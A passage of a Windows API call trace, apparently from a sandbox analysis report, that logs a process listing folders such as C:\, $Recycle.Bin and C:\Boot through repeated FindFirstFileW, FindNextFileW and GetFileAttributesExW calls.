lpFindFileData=0x6cfe9f4) returned 1 [0077.247] FindNextFileW (in: hFindFile=0x6fe9798, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 1 [0077.247] FindNextFileW (in: hFindFile=0x6fe9798, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 1 [0077.247] FindNextFileW (in: hFindFile=0x6fe9798, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 0 [0077.247] FindClose (in: hFindFile=0x6fe9798 | out: hFindFile=0x6fe9798) returned 1 [0077.247] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfec7c) returned 1 [0077.247] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfec88) returned 1 [0077.247] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfecbc) returned 1 [0077.247] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Desktop", nBufferLength=0x105, lpBuffer=0x6cfe7d4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Desktop", lpFilePart=0x0) returned 0x17 [0077.247] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Desktop\\*", lpFindFileData=0x6cfe9e4 | out: lpFindFileData=0x6cfe9e4) returned 0x6fe9798 [0077.247] FindNextFileW (in: hFindFile=0x6fe9798, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 1 [0077.247] FindNextFileW (in: hFindFile=0x6fe9798, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 1 [0077.247] FindNextFileW (in: hFindFile=0x6fe9798, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 1 [0077.247] FindNextFileW (in: hFindFile=0x6fe9798, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 1 [0077.247] FindNextFileW (in: hFindFile=0x6fe9798, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 1 [0077.247] FindNextFileW (in: hFindFile=0x6fe9798, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 0 [0077.247] FindClose (in: hFindFile=0x6fe9798 | out: hFindFile=0x6fe9798) returned 1 [0077.247] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfec7c) returned 1 [0077.247] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfec88) returned 1 [0077.311] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x6cfe860, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0077.311] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x6cfe860, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0077.311] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeca4) returned 1 [0077.311] GetFileAttributesExW (in: lpFileName="C:\\" (normalized: "c:"), fInfoLevelId=0x0, lpFileInformation=0x6cfed20 | out: lpFileInformation=0x6cfed20*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x3c0142d0, ftCreationTime.dwHighDateTime=0x1ca042c, ftLastAccessTime.dwLowDateTime=0x2c949230, ftLastAccessTime.dwHighDateTime=0x1d30610, ftLastWriteTime.dwLowDateTime=0x2c949230, ftLastWriteTime.dwHighDateTime=0x1d30610, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1 [0077.311] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeca0) returned 1 [0077.311] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x6cfe7ec, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0077.311] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfec30) returned 1 [0077.311] GetFileAttributesExW (in: lpFileName="C:\\" (normalized: "c:"), fInfoLevelId=0x0, lpFileInformation=0x6cfecac | out: lpFileInformation=0x6cfecac*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x3c0142d0, ftCreationTime.dwHighDateTime=0x1ca042c, ftLastAccessTime.dwLowDateTime=0x2c949230, ftLastAccessTime.dwHighDateTime=0x1d30610, ftLastWriteTime.dwLowDateTime=0x2c949230, ftLastWriteTime.dwHighDateTime=0x1d30610, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1 [0077.311] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfec2c) returned 1 [0077.311] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfecbc) returned 1 [0077.312] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x6cfe7d4, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0077.312] FindFirstFileW (in: lpFileName="C:\\*", lpFindFileData=0x6cfe9e4 | out: lpFindFileData=0x6cfe9e4) returned 0x6fe9798 [0077.312] FindNextFileW (in: hFindFile=0x6fe9798, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 1 [0077.312] FindNextFileW (in: hFindFile=0x6fe9798, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 1 [0077.312] FindNextFileW (in: hFindFile=0x6fe9798, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 1 [0077.312] FindNextFileW (in: hFindFile=0x6fe9798, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 1 [0077.312] FindNextFileW (in: hFindFile=0x6fe9798, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 1 [0077.312] FindNextFileW (in: hFindFile=0x6fe9798, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 1 [0077.312] FindNextFileW (in: hFindFile=0x6fe9798, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 1 [0077.312] FindNextFileW (in: hFindFile=0x6fe9798, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 1 [0077.313] FindNextFileW (in: hFindFile=0x6fe9798, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 1 [0077.313] FindNextFileW (in: hFindFile=0x6fe9798, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 1 [0077.313] FindNextFileW (in: hFindFile=0x6fe9798, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 1 [0077.313] FindNextFileW (in: hFindFile=0x6fe9798, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 1 [0077.313] FindNextFileW (in: hFindFile=0x6fe9798, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 1 [0077.313] FindNextFileW (in: hFindFile=0x6fe9798, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 1 [0077.313] FindNextFileW (in: hFindFile=0x6fe9798, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 1 [0077.313] FindNextFileW (in: hFindFile=0x6fe9798, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 0 [0077.313] FindClose (in: hFindFile=0x6fe9798 | out: hFindFile=0x6fe9798) returned 1 [0077.313] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfec7c) returned 1 [0077.313] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfec88) returned 1 [0077.313] GetFullPathNameW (in: lpFileName="C:\\$Recycle.Bin", nBufferLength=0x105, lpBuffer=0x6cfe778, lpFilePart=0x0 | out: lpBuffer="C:\\$Recycle.Bin", lpFilePart=0x0) returned 0xf [0077.313] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfebbc) returned 1 [0077.313] GetFileAttributesExW (in: lpFileName="C:\\$Recycle.Bin" (normalized: "c:\\$recycle.bin"), fInfoLevelId=0x0, lpFileInformation=0x6cfec38 | out: lpFileInformation=0x6cfec38*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xae6665d0, ftLastAccessTime.dwHighDateTime=0x1d2e631, ftLastWriteTime.dwLowDateTime=0xae6665d0, ftLastWriteTime.dwHighDateTime=0x1d2e631, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0077.314] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfebb8) returned 1 [0077.314] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfec48) returned 1 [0077.314] GetFullPathNameW (in: lpFileName="C:\\$Recycle.Bin", nBufferLength=0x105, lpBuffer=0x6cfe760, lpFilePart=0x0 | out: lpBuffer="C:\\$Recycle.Bin", lpFilePart=0x0) returned 0xf [0077.314] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\*", lpFindFileData=0x6cfe970 | out: lpFindFileData=0x6cfe970) returned 0x6fe9798 [0077.314] FindNextFileW (in: hFindFile=0x6fe9798, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0077.314] FindNextFileW (in: hFindFile=0x6fe9798, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0077.315] FindNextFileW (in: hFindFile=0x6fe9798, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 0 [0077.315] FindClose (in: hFindFile=0x6fe9798 | out: hFindFile=0x6fe9798) returned 1 [0077.315] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfec08) returned 1 [0077.315] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfec14) returned 1 [0077.315] GetFullPathNameW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-21-1534390919-4215197118-2202912847-1000", nBufferLength=0x105, lpBuffer=0x6cfe704, lpFilePart=0x0 | out: lpBuffer="C:\\$Recycle.Bin\\S-1-5-21-1534390919-4215197118-2202912847-1000", lpFilePart=0x0) returned 0x3e [0077.315] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeb48) returned 1 [0077.315] GetFileAttributesExW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-21-1534390919-4215197118-2202912847-1000" (normalized: "c:\\$recycle.bin\\s-1-5-21-1534390919-4215197118-2202912847-1000"), fInfoLevelId=0x0, lpFileInformation=0x6cfebc4 | out: lpFileInformation=0x6cfebc4*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xae6665d0, ftCreationTime.dwHighDateTime=0x1d2e631, ftLastAccessTime.dwLowDateTime=0xae6665d0, ftLastAccessTime.dwHighDateTime=0x1d2e631, ftLastWriteTime.dwLowDateTime=0xae6665d0, ftLastWriteTime.dwHighDateTime=0x1d2e631, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0077.315] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb44) returned 1 [0077.315] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfebd4) returned 1 [0077.315] GetFullPathNameW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-21-1534390919-4215197118-2202912847-1000", nBufferLength=0x105, lpBuffer=0x6cfe6ec, lpFilePart=0x0 | out: lpBuffer="C:\\$Recycle.Bin\\S-1-5-21-1534390919-4215197118-2202912847-1000", lpFilePart=0x0) returned 0x3e [0077.315] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-21-1534390919-4215197118-2202912847-1000\\*", lpFindFileData=0x6cfe8fc | out: lpFindFileData=0x6cfe8fc) returned 0x6fe9798 [0077.315] FindNextFileW (in: hFindFile=0x6fe9798, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0077.315] FindNextFileW (in: hFindFile=0x6fe9798, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0077.315] FindNextFileW (in: hFindFile=0x6fe9798, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 0 [0077.316] FindClose (in: hFindFile=0x6fe9798 | out: hFindFile=0x6fe9798) returned 1 [0077.316] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb94) returned 1 [0077.316] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeba0) returned 1 [0077.316] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfebd4) returned 1 [0077.316] GetFullPathNameW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-21-1534390919-4215197118-2202912847-1000", nBufferLength=0x105, lpBuffer=0x6cfe6ec, lpFilePart=0x0 | out: lpBuffer="C:\\$Recycle.Bin\\S-1-5-21-1534390919-4215197118-2202912847-1000", lpFilePart=0x0) returned 0x3e [0077.316] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-21-1534390919-4215197118-2202912847-1000\\*", lpFindFileData=0x6cfe8fc | out: lpFindFileData=0x6cfe8fc) returned 0x6fe9798 [0077.316] FindNextFileW (in: hFindFile=0x6fe9798, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0077.316] FindNextFileW (in: hFindFile=0x6fe9798, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0077.316] FindNextFileW (in: hFindFile=0x6fe9798, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 0 [0077.316] FindClose (in: hFindFile=0x6fe9798 | out: hFindFile=0x6fe9798) returned 1 [0077.316] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb94) returned 1 [0077.316] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeba0) returned 1 [0077.316] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfec48) returned 1 [0077.316] GetFullPathNameW (in: lpFileName="C:\\$Recycle.Bin", nBufferLength=0x105, lpBuffer=0x6cfe760, lpFilePart=0x0 | out: lpBuffer="C:\\$Recycle.Bin", lpFilePart=0x0) returned 0xf [0077.316] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\*", lpFindFileData=0x6cfe970 | out: lpFindFileData=0x6cfe970) returned 0x6fe9798 [0077.317] FindNextFileW (in: hFindFile=0x6fe9798, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0077.317] FindNextFileW (in: hFindFile=0x6fe9798, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0077.317] FindNextFileW (in: hFindFile=0x6fe9798, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 0 [0077.317] FindClose (in: hFindFile=0x6fe9798 | out: hFindFile=0x6fe9798) returned 1 [0077.317] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfec08) returned 1 [0077.317] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfec14) returned 1 [0077.317] GetFullPathNameW (in: lpFileName="C:\\Boot", nBufferLength=0x105, lpBuffer=0x6cfe778, lpFilePart=0x0 | out: lpBuffer="C:\\Boot", lpFilePart=0x0) returned 0x7 [0077.317] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfebbc) returned 1 [0077.317] GetFileAttributesExW (in: lpFileName="C:\\Boot" (normalized: "c:\\boot"), fInfoLevelId=0x0, lpFileInformation=0x6cfec38 | out: lpFileInformation=0x6cfec38*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2983aa20, ftCreationTime.dwHighDateTime=0x1d2e6c8, ftLastAccessTime.dwLowDateTime=0x29b5a700, ftLastAccessTime.dwHighDateTime=0x1d2e6c8, ftLastWriteTime.dwLowDateTime=0x29b5a700, ftLastWriteTime.dwHighDateTime=0x1d2e6c8, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0077.317] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfebb8) returned 1 [0077.317] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfec48) returned 1 [0077.317] GetFullPathNameW (in: lpFileName="C:\\Boot", nBufferLength=0x105, lpBuffer=0x6cfe760, lpFilePart=0x0 | out: lpBuffer="C:\\Boot", lpFilePart=0x0) returned 0x7 [0077.317] FindFirstFileW (in: lpFileName="C:\\Boot\\*", lpFindFileData=0x6cfe970 | out: lpFindFileData=0x6cfe970) returned 0x6fe9798 [0077.317] FindNextFileW (in: hFindFile=0x6fe9798, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0077.318] FindNextFileW (in: hFindFile=0x6fe9798, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0077.318] FindNextFileW (in: hFindFile=0x6fe9798, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0077.318] FindNextFileW (in: hFindFile=0x6fe9798, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0077.318] FindNextFileW (in: hFindFile=0x6fe9798, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0077.318] FindNextFileW (in: hFindFile=0x6fe9798, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0077.318] FindNextFileW (in: hFindFile=0x6fe9798, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0077.318] FindNextFileW (in: hFindFile=0x6fe9798, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0077.318] FindNextFileW (in: hFindFile=0x6fe9798, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0077.318] FindNextFileW (in: hFindFile=0x6fe9798, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0077.318] FindNextFileW (in: hFindFile=0x6fe9798, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0077.319] FindNextFileW (in: hFindFile=0x6fe9798, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0077.319] FindNextFileW (in: hFindFile=0x6fe9798, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0077.319] FindNextFileW (in: hFindFile=0x6fe9798, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0077.319] FindNextFileW (in: hFindFile=0x6fe9798, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0077.319] FindNextFileW (in: hFindFile=0x6fe9798, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0077.319] FindNextFileW (in: hFindFile=0x6fe9798, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0077.319] FindNextFileW (in: hFindFile=0x6fe9798, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0077.319] FindNextFileW (in: hFindFile=0x6fe9798, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0077.319] FindNextFileW (in: hFindFile=0x6fe9798, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0077.319] FindNextFileW (in: hFindFile=0x6fe9798, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0077.319] FindNextFileW (in: hFindFile=0x6fe9798, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0077.320] FindNextFileW (in: hFindFile=0x6fe9798, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0077.320] FindNextFileW (in: hFindFile=0x6fe9798, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0077.320] FindNextFileW (in: hFindFile=0x6fe9798, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0077.320] FindNextFileW (in: hFindFile=0x6fe9798, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0077.320] FindNextFileW (in: hFindFile=0x6fe9798, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0077.320] FindNextFileW (in: hFindFile=0x6fe9798, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0077.320] FindNextFileW (in: hFindFile=0x6fe9798, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0077.320] FindNextFileW (in: hFindFile=0x6fe9798, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0077.320] FindNextFileW (in: hFindFile=0x6fe9798, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0077.320] FindNextFileW (in: hFindFile=0x6fe9798, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 0 [0077.320] FindClose (in: hFindFile=0x6fe9798 | out: hFindFile=0x6fe9798) returned 1 [0077.320] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfec08) returned 1 [0077.320] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfec14) returned 1 [0077.320] GetFullPathNameW (in: lpFileName="C:\\Boot\\cs-CZ", nBufferLength=0x105, lpBuffer=0x6cfe704, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\cs-CZ", lpFilePart=0x0) returned 0xd [0077.321] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeb48) returned 1 [0077.321] GetFileAttributesExW (in: lpFileName="C:\\Boot\\cs-CZ" (normalized: "c:\\boot\\cs-cz"), fInfoLevelId=0x0, lpFileInformation=0x6cfebc4 | out: lpFileInformation=0x6cfebc4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2983aa20, ftCreationTime.dwHighDateTime=0x1d2e6c8, ftLastAccessTime.dwLowDateTime=0x2983aa20, ftLastAccessTime.dwHighDateTime=0x1d2e6c8, ftLastWriteTime.dwLowDateTime=0x2983aa20, ftLastWriteTime.dwHighDateTime=0x1d2e6c8, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0077.321] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb44) returned 1 [0077.321] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfebd4) returned 1 [0077.321] GetFullPathNameW (in: lpFileName="C:\\Boot\\cs-CZ", nBufferLength=0x105, lpBuffer=0x6cfe6ec, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\cs-CZ", lpFilePart=0x0) returned 0xd [0077.321] FindFirstFileW (in: lpFileName="C:\\Boot\\cs-CZ\\*", lpFindFileData=0x6cfe8fc | out: lpFindFileData=0x6cfe8fc) returned 0x6fe9798 [0077.321] FindNextFileW (in: hFindFile=0x6fe9798, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0077.322] FindNextFileW (in: hFindFile=0x6fe9798, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0077.322] FindNextFileW (in: hFindFile=0x6fe9798, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 0 [0077.322] FindClose (in: hFindFile=0x6fe9798 | out: hFindFile=0x6fe9798) returned 1 [0077.322] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb94) returned 1 [0077.322] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeba0) returned 1 [0077.322] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfebd4) returned 1 [0077.322] GetFullPathNameW (in: lpFileName="C:\\Boot\\cs-CZ", nBufferLength=0x105, lpBuffer=0x6cfe6ec, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\cs-CZ", lpFilePart=0x0) returned 0xd [0077.322] FindFirstFileW (in: lpFileName="C:\\Boot\\cs-CZ\\*", lpFindFileData=0x6cfe8fc | out: lpFindFileData=0x6cfe8fc) returned 0x6fe9798 [0077.322] FindNextFileW (in: hFindFile=0x6fe9798, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0077.322] FindNextFileW (in: hFindFile=0x6fe9798, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0077.322] FindNextFileW (in: hFindFile=0x6fe9798, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 0 [0077.322] FindClose (in: hFindFile=0x6fe9798 | out: hFindFile=0x6fe9798) returned 1 [0077.322] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb94) returned 1 [0077.322] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeba0) returned 1 [0077.323] GetFullPathNameW (in: lpFileName="C:\\Boot\\da-DK", nBufferLength=0x105, lpBuffer=0x6cfe704, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\da-DK", lpFilePart=0x0) returned 0xd [0077.323] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeb48) returned 1 [0077.323] GetFileAttributesExW (in: lpFileName="C:\\Boot\\da-DK" (normalized: "c:\\boot\\da-dk"), fInfoLevelId=0x0, lpFileInformation=0x6cfebc4 | out: lpFileInformation=0x6cfebc4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x29860b80, ftCreationTime.dwHighDateTime=0x1d2e6c8, ftLastAccessTime.dwLowDateTime=0x29860b80, ftLastAccessTime.dwHighDateTime=0x1d2e6c8, ftLastWriteTime.dwLowDateTime=0x29860b80, ftLastWriteTime.dwHighDateTime=0x1d2e6c8, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0077.323] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb44) returned 1 [0077.323] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfebd4) returned 1 [0077.323] GetFullPathNameW (in: lpFileName="C:\\Boot\\da-DK", nBufferLength=0x105, lpBuffer=0x6cfe6ec, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\da-DK", lpFilePart=0x0) returned 0xd [0077.323] FindFirstFileW (in: lpFileName="C:\\Boot\\da-DK\\*", lpFindFileData=0x6cfe8fc | out: lpFindFileData=0x6cfe8fc) returned 0x6fe9798 [0077.323] FindNextFileW (in: hFindFile=0x6fe9798, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0077.323] FindNextFileW (in: hFindFile=0x6fe9798, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0077.323] FindNextFileW (in: hFindFile=0x6fe9798, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 0 [0077.324] FindClose (in: hFindFile=0x6fe9798 | out: hFindFile=0x6fe9798) returned 1 [0077.324] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb94) returned 1 [0077.324] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeba0) returned 1 [0077.324] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfebd4) returned 1 [0077.324] GetFullPathNameW (in: lpFileName="C:\\Boot\\da-DK", nBufferLength=0x105, lpBuffer=0x6cfe6ec, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\da-DK", lpFilePart=0x0) returned 0xd [0077.324] FindFirstFileW (in: lpFileName="C:\\Boot\\da-DK\\*", lpFindFileData=0x6cfe8fc | out: lpFindFileData=0x6cfe8fc) returned 0x6fe9798 [0077.324] FindNextFileW (in: hFindFile=0x6fe9798, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0077.324] FindNextFileW (in: hFindFile=0x6fe9798, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0077.324] FindNextFileW (in: hFindFile=0x6fe9798, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 0 [0077.324] FindClose (in: hFindFile=0x6fe9798 | out: hFindFile=0x6fe9798) returned 1 [0077.324] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb94) returned 1 [0077.324] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeba0) returned 1 [0077.324] GetFullPathNameW (in: lpFileName="C:\\Boot\\de-DE", nBufferLength=0x105, lpBuffer=0x6cfe704, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\de-DE", lpFilePart=0x0) returned 0xd [0077.324] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeb48) returned 1 [0077.324] GetFileAttributesExW (in: lpFileName="C:\\Boot\\de-DE" (normalized: "c:\\boot\\de-de"), fInfoLevelId=0x0, lpFileInformation=0x6cfebc4 | out: lpFileInformation=0x6cfebc4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x29860b80, ftCreationTime.dwHighDateTime=0x1d2e6c8, ftLastAccessTime.dwLowDateTime=0x29860b80, ftLastAccessTime.dwHighDateTime=0x1d2e6c8, ftLastWriteTime.dwLowDateTime=0x29860b80, ftLastWriteTime.dwHighDateTime=0x1d2e6c8, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0077.325] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb44) returned 1 [0077.325] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfebd4) returned 1 [0077.325] GetFullPathNameW (in: lpFileName="C:\\Boot\\de-DE", nBufferLength=0x105, lpBuffer=0x6cfe6ec, lpFilePart=0x0 | out: 